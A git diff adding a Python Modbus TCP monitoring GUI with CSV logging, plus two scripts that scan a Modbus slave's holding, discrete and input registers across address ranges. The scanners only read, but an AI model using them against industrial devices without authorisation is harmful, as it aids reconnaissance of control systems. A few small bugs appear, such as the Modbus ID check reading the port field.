(len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": 